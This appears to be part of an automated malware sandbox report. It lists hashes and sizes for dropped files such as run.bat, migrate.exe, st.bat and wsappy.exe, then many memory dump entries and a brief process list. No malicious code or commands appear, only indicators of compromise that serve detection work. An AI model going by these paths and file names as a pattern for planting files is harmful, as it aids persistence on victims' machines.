SHA256
644c9745d1d2f679db73fcb717dd37e180e19d5b0fc74575e4cefe4f543f2768

SHA512
c30d46781b17c4bb0610d3af4b5acc223394d02f9fbb1fbb55811ae2efe49fd29a7e9626737c4b24194c73c58fe1b577a858559a7e58d93c3660ac680f19eaf8

Download Submit
C:\windows\tasks\run.bat
Filesize
338B

MD5
20a377ca25c7fcdff75b3720ba83e11c

SHA1
ad3ceb92df33714c7d3f517a77b1086797d72c47

SHA256
280e5ccacd1622f61cfd675f4ae1204790bd5aea648d0e51145d01a772d792ad

SHA512
b4f2d5a1c8cbdfd7cc3f6d106735e816572bb0a177b302263fa9267625bca7d77f49b5e86252c3632ce9e05e4e5ba7730e7555ac465ed5b46f913de4739cecc6

Download Submit
\??\c:\programdata\migrate.exe
Filesize
6.6MB

MD5
4d877cab8a19afea517ba4436805ce77

SHA1
7210160bd527a3b726ad0686613bff358823de41

SHA256
e2eee92ef0ffc25134049dd0301d464bf8e7b814ba04b25749dea8c0b7cbc29d

SHA512
af9ce52af8d3a6987eb50fd17cbae170195872e8ca2d65db5198842f185d4cba2b70e9d2d0e9cdeb1cb80bd1adaf1674eec84797d65a8c2e236b18261fe018bc

Download Submit
\??\c:\programdata\st.bat
Filesize
3KB

MD5
d7c8216954b5eb6037dd1a45dd57a4f0

SHA1
a7edc98e44c55070d28941bfc9f7d88a95576041

SHA256
cf5405b85d6f3e6365707af3302610d84596c23f0f7717c43eb11c1ac702bce7

SHA512
3338f2c096137b568cf1f3ac1ae6ab4be2b2baa7ed08aaa4b7fe6b72ddca231d456a3fa41c817b6dc14abc62c062a390a440b8a3fc6a1ab5243f7f4fc12f29af

Download Submit
\??\c:\programdata\wsappy.exe
Filesize
3.8MB

MD5
9a1d9fe9b1223273c314632d04008384

SHA1
665cad3ed21f6443d1adacf18ca45dfaa8f52c99

SHA256
0f4bf8506a2560c568b9815124dfc43a11c561ed611829df841ec7aba8302359

SHA512
3ec400acd075a4078d7d9f06c853be4ee0fdd7a9d1628428326534df6c0f3ea8f745af9d29031e9259a1bee2f78dd48dfaebcb7e897c22736909a9d6b4f24ba5

Download Submit
memory/432-276-0x00007FFF3B0F0000-0x00007FFF3BBB1000-memory.dmp

Filesize
10.8MB

Download
memory/432-219-0x0000000000000000-mapping.dmp

Download
memory/432-239-0x00007FFF3B0F0000-0x00007FFF3BBB1000-memory.dmp

Filesize
10.8MB

Download
memory/460-238-0x0000000000180000-0x00000000011D9000-memory.dmp

Filesize
16.3MB

Download
memory/460-197-0x0000000000180000-0x00000000011D9000-memory.dmp

Filesize
16.3MB

Download
memory/460-198-0x0000000000180000-0x00000000011D9000-memory.dmp

Filesize
16.3MB

Download
memory/460-195-0x0000000000000000-mapping.dmp

Download
memory/732-420-0x0000000000000000-mapping.dmp

Download
memory/1120-230-0x00007FFF3B0F0000-0x00007FFF3BBB1000-memory.dmp

Filesize
10.8MB

Download
memory/1120-266-0x00007FFF3B0F0000-0x00007FFF3BBB1000-memory.dmp

Filesize
10.8MB

Download
memory/1120-213-0x0000000000000000-mapping.dmp

Download
memory/1188-176-0x0000000000000000-mapping.dmp

Download
memory/1240-202-0x0000000000000000-mapping.dmp

Download
memory/1328-158-0x0000000000000000-mapping.dmp

Download
memory/1440-265-0x00007FFF3B0F0000-0x00007FFF3BBB1000-memory.dmp

Filesize
10.8MB

Download
memory/1440-223-0x00007FFF3B0F0000-0x00007FFF3BBB1000-memory.dmp

Filesize
10.8MB

Download
memory/1440-224-0x000002EF2D860000-0x000002EF2D882000-memory.dmp

Filesize
136KB

Download
memory/1440-208-0x0000000000000000-mapping.dmp

Download
memory/1460-491-0x0000014899765000-0x0000014899769000-memory.dmp

Filesize
16KB

Download
memory/1460-323-0x0000014896980000-0x00000148969A0000-memory.dmp

Filesize
128KB

Download
memory/1460-317-0x00000148969C0000-0x00000148969E0000-memory.dmp

Filesize
128KB

Download
memory/1460-319-0x00000148A9780000-0x00000148A9880000-memory.dmp

Filesize
1024KB

Download
memory/1460-498-0x0000014899769000-0x000001489976C000-memory.dmp

Filesize
12KB

Download
memory/1460-335-0x00000148969C0000-0x00000148969E0000-memory.dmp

Filesize
128KB

Download
memory/1460-435-0x00000148AC8B8000-0x00000148AC8C0000-memory.dmp

Filesize
32KB

Download
memory/1460-436-0x000001489976A000-0x000001489976E000-memory.dmp

Filesize
16KB

Download
memory/1460-437-0x000001489976A000-0x000001489976E000-memory.dmp

Filesize
16KB

Download
memory/1460-497-0x0000014899769000-0x000001489976C000-memory.dmp

Filesize
12KB

Download
memory/1460-438-0x000001489976A000-0x000001489976E000-memory.dmp

Filesize
16KB

Download
memory/1460-499-0x0000014899769000-0x000001489976C000-memory.dmp

Filesize
12KB

Download
memory/1460-439-0x000001489976A000-0x000001489976E000-memory.dmp

Filesize
16KB

Download
memory/1460-440-0x000001489976A000-0x000001489976E000-memory.dmp

Filesize
16KB

Download
memory/1460-489-0x0000014899765000-0x0000014899769000-memory.dmp

Filesize
16KB

Download
memory/1460-490-0x0000014899765000-0x0000014899769000-memory.dmp

Filesize
16KB

Download
memory/1460-492-0x0000014899765000-0x0000014899769000-memory.dmp

Filesize
16KB

Download
memory/1460-496-0x0000014899769000-0x000001489976C000-memory.dmp

Filesize
12KB

Download
memory/1476-231-0x0000000074E50000-0x0000000074E9C000-memory.dmp

Filesize
304KB

Download
memory/1476-203-0x0000000000000000-mapping.dmp

Download
memory/1512-241-0x00007FFF3B0F0000-0x00007FFF3BBB1000-memory.dmp

Filesize
10.8MB

Download
memory/1512-274-0x00007FFF3B0F0000-0x00007FFF3BBB1000-memory.dmp

Filesize
10.8MB

Download
memory/1512-220-0x0000000000000000-mapping.dmp

Download
memory/1588-226-0x00007FFF3B0F0000-0x00007FFF3BBB1000-memory.dmp

Filesize
10.8MB

Download
memory/1588-209-0x0000000000000000-mapping.dmp

Download
memory/1588-259-0x00007FFF3B0F0000-0x00007FFF3BBB1000-memory.dmp

Filesize
10.8MB

Download
memory/1640-167-0x0000000000000000-mapping.dmp

Download
memory/1708-166-0x0000000000000000-mapping.dmp

Download
memory/1720-234-0x00007FFF3B0F0000-0x00007FFF3BBB1000-memory.dmp

Filesize
10.8MB

Download
memory/1720-216-0x0000000000000000-mapping.dmp

Download
memory/1720-270-0x00007FFF3B0F0000-0x00007FFF3BBB1000-memory.dmp

Filesize
10.8MB

Download
memory/2060-248-0x00007FFF3B0F0000-0x00007FFF3BBB1000-memory.dmp

Filesize
10.8MB

Download
memory/2060-221-0x0000000000000000-mapping.dmp

Download
memory/2060-279-0x00007FFF3B0F0000-0x00007FFF3BBB1000-memory.dmp

Filesize
10.8MB

Download
memory/2104-262-0x00007FFF3B0F0000-0x00007FFF3BBB1000-memory.dmp

Filesize
10.8MB

Download
memory/2104-227-0x00007FFF3B0F0000-0x00007FFF3BBB1000-memory.dmp

Filesize
10.8MB

Download
memory/2104-210-0x0000000000000000-mapping.dmp

Download
memory/2124-275-0x00007FFF3B0F0000-0x00007FFF3BBB1000-memory.dmp

Filesize
10.8MB

Download
memory/2124-215-0x0000000000000000-mapping.dmp

Download
memory/2124-233-0x00007FFF3B0F0000-0x00007FFF3BBB1000-memory.dmp

Filesize
10.8MB

Download
memory/2240-201-0x0000000000000000-mapping.dmp

Download
memory/2316-283-0x0000000000000000-mapping.dmp

Download
memory/2416-193-0x0000000000000000-mapping.dmp

Download
memory/2848-229-0x00007FFF3B0F0000-0x00007FFF3BBB1000-memory.dmp

Filesize
10.8MB

Download
memory/2848-212-0x0000000000000000-mapping.dmp

Download
memory/2848-268-0x00007FFF3B0F0000-0x00007FFF3BBB1000-memory.dmp

Filesize
10.8MB

Download
memory/3300-303-0x0000000000000000-mapping.dmp

Download
memory/3416-170-0x0000000000000000-mapping.dmp

Download
memory/3500-177-0x0000000000000000-mapping.dmp

Download
memory/3560-217-0x0000000000A80000-0x0000000001AD9000-memory.dmp

Filesize
16.3MB

Download
memory/3560-302-0x0000000000A80000-0x0000000001AD9000-memory.dmp

Filesize
16.3MB

Download
memory/3560-205-0x0000000000A80000-0x0000000001AD9000-memory.dmp

Filesize
16.3MB

Download
memory/3564-179-0x0000000000000000-mapping.dmp

Download
memory/3708-175-0x0000000000000000-mapping.dmp

Download
memory/3736-180-0x0000000000000000-mapping.dmp

Download
memory/3752-173-0x0000000000000000-mapping.dmp

Download
memory/3792-182-0x0000000000000000-mapping.dmp

Download
memory/3792-298-0x0000000000000000-mapping.dmp

Download
memory/3844-181-0x0000000000000000-mapping.dmp

Download
memory/3936-218-0x0000000000000000-mapping.dmp

Download
memory/3936-247-0x00007FFF3B0F0000-0x00007FFF3BBB1000-memory.dmp

Filesize
10.8MB

Download
memory/3936-272-0x00007FFF3B0F0000-0x00007FFF3BBB1000-memory.dmp

Filesize
10.8MB

Download
memory/4060-192-0x00007FFF3B0F0000-0x00007FFF3BBB1000-memory.dmp

Filesize
10.8MB

Download
memory/4060-191-0x0000000000220000-0x000000000032C000-memory.dmp

Filesize
1.0MB

Download
memory/4060-228-0x00007FFF3B0F0000-0x00007FFF3BBB1000-memory.dmp

Filesize
10.8MB

Download
memory/4060-194-0x000000001CA70000-0x000000001CAC0000-memory.dmp

Filesize
320KB

Download
memory/4060-188-0x0000000000000000-mapping.dmp

Download
memory/4408-186-0x0000000000000000-mapping.dmp

Download
memory/4416-154-0x0000000000000000-mapping.dmp

Download
memory/4572-132-0x0000000000000000-mapping.dmp

Download
memory/4572-135-0x00000000052C0000-0x00000000052E2000-memory.dmp

Filesize
136KB

Download
memory/4572-133-0x0000000002DA0000-0x0000000002DD6000-memory.dmp

Filesize
216KB

Download
memory/4572-134-0x0000000005470000-0x0000000005A98000-memory.dmp

Filesize
6.2MB

Download
memory/4572-136-0x0000000005AA0000-0x0000000005B06000-memory.dmp

Filesize
408KB

Download
memory/4572-137-0x0000000005B10000-0x0000000005B76000-memory.dmp

Filesize
408KB

Download
memory/4572-138-0x0000000006150000-0x000000000616E000-memory.dmp

Filesize
120KB

Download
memory/4572-139-0x00000000072D0000-0x0000000007302000-memory.dmp

Filesize
200KB

Download
memory/4572-140-0x000000006EED0000-0x000000006EF1C000-memory.dmp

Filesize
304KB

Download
memory/4572-141-0x00000000072B0000-0x00000000072CE000-memory.dmp

Filesize
120KB

Download
memory/4572-148-0x0000000007770000-0x0000000007778000-memory.dmp

Filesize
32KB

Download
memory/4572-147-0x0000000007790000-0x00000000077AA000-memory.dmp

Filesize
104KB

Download
memory/4572-146-0x0000000007680000-0x000000000768E000-memory.dmp

Filesize
56KB

Download
memory/4572-142-0x0000000007A90000-0x000000000810A000-memory.dmp

Filesize
6.5MB

Download
memory/4572-143-0x0000000007450000-0x000000000746A000-memory.dmp

Filesize
104KB

Download
memory/4572-144-0x00000000074C0000-0x00000000074CA000-memory.dmp

Filesize
40KB

Download
memory/4572-145-0x00000000076D0000-0x0000000007766000-memory.dmp

Filesize
600KB

Download
memory/4584-161-0x0000000000000000-mapping.dmp

Download
memory/4596-174-0x0000000000000000-mapping.dmp

Download
memory/4692-168-0x0000000000000000-mapping.dmp

Download
memory/4772-178-0x0000000000000000-mapping.dmp

Download
memory/4808-184-0x0000000000000000-mapping.dmp

Download
memory/4860-157-0x0000000000000000-mapping.dmp

Download
memory/4888-153-0x000000006EED0000-0x000000006EF1C000-memory.dmp

Filesize
304KB

Download
memory/4888-149-0x0000000000000000-mapping.dmp

Download
memory/4948-207-0x0000000000000000-mapping.dmp

Download
memory/4948-236-0x00007FFF3B0F0000-0x00007FFF3BBB1000-memory.dmp

Filesize
10.8MB

Download
memory/4948-269-0x00007FFF3B0F0000-0x00007FFF3BBB1000-memory.dmp

Filesize
10.8MB

Download
memory/4992-242-0x00007FFF3B0F0000-0x00007FFF3BBB1000-memory.dmp

Filesize
10.8MB

Download
memory/4992-222-0x0000000000000000-mapping.dmp

Download
memory/4992-277-0x00007FFF3B0F0000-0x00007FFF3BBB1000-memory.dmp

Filesize
10.8MB

Download
memory/5016-225-0x0000000000000000-mapping.dmp

Download
memory/5124-465-0x0000000000000000-mapping.dmp

Download
memory/5356-237-0x0000000000A80000-0x0000000001AD9000-memory.dmp

Filesize
16.3MB

Download
memory/5356-246-0x0000000000A80000-0x0000000001AD9000-memory.dmp

Filesize
16.3MB

Download
memory/5356-308-0x0000000000A80000-0x0000000001AD9000-memory.dmp

Filesize
16.3MB

Download
memory/5400-280-0x0000000000000000-mapping.dmp

Download
memory/5400-286-0x00007FFF3B0F0000-0x00007FFF3BBB1000-memory.dmp

Filesize
10.8MB

Download
memory/5400-351-0x00007FFF3B0F0000-0x00007FFF3BBB1000-memory.dmp

Filesize
10.8MB

Download
memory/5400-501-0x000000001FB50000-0x000000001FD12000-memory.dmp

Filesize
1.8MB

Download
memory/5428-284-0x0000000000000000-mapping.dmp

Download
memory/5540-306-0x0000000000A80000-0x0000000001AD9000-memory.dmp

Filesize
16.3MB

Download
memory/5540-290-0x0000000000A80000-0x0000000001AD9000-memory.dmp

Filesize
16.3MB

Download
memory/5540-287-0x0000000000000000-mapping.dmp

Download
memory/5556-448-0x0000000000000000-mapping.dmp

Download
memory/5568-495-0x0000000000A80000-0x0000000001AD9000-memory.dmp

Filesize
16.3MB

Download
memory/5568-484-0x0000000000A80000-0x0000000001AD9000-memory.dmp

Filesize
16.3MB

Download
memory/5624-289-0x0000000000000000-mapping.dmp

Download
memory/5640-502-0x00000243B1DB0000-0x00000243B1DD0000-memory.dmp

Filesize
128KB

Download
memory/5640-503-0x00000243B21E0000-0x00000243B2220000-memory.dmp

Filesize
256KB

Download
memory/5692-285-0x0000000000000000-mapping.dmp

Download
memory/5724-244-0x0000000000000000-mapping.dmp

Download
memory/5856-292-0x0000000000000000-mapping.dmp

Download
memory/5952-307-0x0000000000000000-mapping.dmp

Download
memory/5956-249-0x0000000000000000-mapping.dmp

Download
memory/5964-301-0x0000000000000000-mapping.dmp

Download
memory/5980-251-0x0000000000000000-mapping.dmp

Download
memory/5992-252-0x0000000000000000-mapping.dmp

Download
memory/6012-299-0x0000000000000000-mapping.dmp

Download
memory/6016-300-0x0000000000000000-mapping.dmp

Download
memory/6044-253-0x0000000000000000-mapping.dmp

Download
memory/6064-254-0x0000000000000000-mapping.dmp

Download

pid	process
4416	1.exe
1460	SearchApp.exe
5720	~Ma4650.exe
5720	~Ma4650.exe
5720	~Ma4650.exe